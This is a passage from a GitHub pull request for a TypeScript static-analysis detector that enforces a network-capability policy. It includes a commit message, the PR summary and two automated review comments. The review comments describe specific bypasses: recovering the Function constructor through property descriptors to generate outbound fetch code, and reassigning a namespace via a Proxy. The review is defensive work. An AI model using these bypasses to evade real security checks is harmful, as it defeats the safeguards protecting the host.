resolves through the same static-key machinery, so `Reflect['get']` is covered.
`Reflect.apply` (invocation, used by the real closure) is never matched.
Effective-export enumeration (hostExportsOf): a non-type-only export-modified
`import X = …` now claims `X` in explicitNames, so a same-name `export *` fact
cannot survive. Explicit-export-name precedence now holds for the full finite set
of runtime export forms.
Type-query (isValueReference): an identifier that is the exprName of a
TypeQueryNode (through any QualifiedName) is a type-level name that erases at
runtime, never a value read. A runtime `typeof x` (TypeOfExpression) is
unaffected. The fix lands on both the RC and HA guards consistently.
Finite enforcement boundary (unchanged): a dynamic computed key on an arbitrary
non-global receiver is indistinguishable from legitimate data indexing
(`results[index]`, `HTML_ESCAPES[character]`) and is not rejected.
Regressions added for every structural rule. The real executable closure and all
existing D3 invariants remain green.
Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01Rs9Qo9mWsSzFt8PDw5MAHs
|
@codex review |
There was a problem hiding this comment.
💡 Codex Review
Here are some automated review suggestions for this pull request.
Reviewed commit: 4b7f172658
ℹ️ About Codex in GitHub
Your team has set up Codex to review pull requests in this repo. Reviews are triggered when you
- Open a pull request for review
- Mark a draft as ready
- Comment "@codex review".
If Codex has suggestions, it will comment; otherwise it will react with 👍.
Codex can also answer questions or update the PR. Try commenting "@codex address that feedback".
| if (ts.isEnumDeclaration(statement) && hasExportModifier(statement)) { | ||
| recordExplicit(valueSymbolOf(ctx.checker, statement.name), statement.name.text); | ||
| } |
There was a problem hiding this comment.
Fresh evidence beyond the earlier destructured-export case is an instantiated export namespace chunk, which creates an explicit runtime export but is omitted from this enumeration. With export * supplying a proven-string chunk, the namespace can be reassigned through (chunk as any) = new Proxy(...); an importer can then pass chunk as string to response.end, and the tree reports ALLOW because the stale star-derived string fact remains, causing Node to invoke the Proxy with the privileged response. Add runtime ModuleDeclaration exports to explicitNames before processing stars.
Useful? React with 👍 / 👎.
| const method = memberNameOf(node.expression, constMap); | ||
| if (method === 'construct') found = true; | ||
| else if (method === 'get') { |
There was a problem hiding this comment.
The new reflective code-generation guard only handles Reflect.get and Reflect.construct, so Object.getOwnPropertyDescriptor(Object.getPrototypeOf(() => {}), 'constructor')!.value recovers the global Function constructor without any reserved member access. Invoking that value with a body containing fetch(...) makes both usesRuntimeCodeGeneration and the network analyzer return an accepting verdict, allowing arbitrary generated outbound code from any executable-closure member. Treat descriptor-based reads of constructor as capability recovery too.
Useful? React with 👍 / 👎.
1 participant
Summary
Clean reimplementation of the D3 network policy from the exact PR #55 base (
5ae2b786ad6dc4653286d4c2b50e1fd705daa974). It replaces the accumulated PR #64 implementation rather than repairing it. PR #64 remains open as the differential oracle.Structure
Symbol -> {SERVER | REQUEST | RESPONSE} x {ROOT | ALIAS | PARAM}fact map.valueSymbolOf: shorthand value symbol, export-specifier local target, otherwise binder symbol).RESOLVED/NOT_CAPABILITY/INDETERMINATE, declaration-keyed memo, finite bounds).CONVERGED/EXHAUSTEDstates;EXHAUSTEDdenies.createServeroptions argument is denied (exactly one listener argument; parameters 0 and 1 are the only roots).Files
tests/cockpit-host/support/d3-network-policy.ts— detectortests/cockpit-host/support/d3-regression-matrix.ts— data-driven MUST_DENY / MUST_ALLOW rows across the frozen semantic categoriestests/cockpit-host/d3-network-policy.test.ts— mechanism tests and matrix runnertests/cockpit-host/purity.test.ts— minimal integration over the real host tree (PR Cockpit D3 — Read-only dashboard host (Stage A) #55 RC / HA / import / symlink / boundary logic unchanged)No production-source changes.
Validation
Independently validated by Codex before commit. Exact validated commit:
5ac18be70be10d40ca4610b3bc826e81335e0435.Retirement policy
PR #64 must not be closed until this replacement passes exact-head validation and the Commander authorizes retirement.
🤖 Generated with Claude Code
https://claude.ai/code/session_01JPfL76suEiud2qfmrgUURL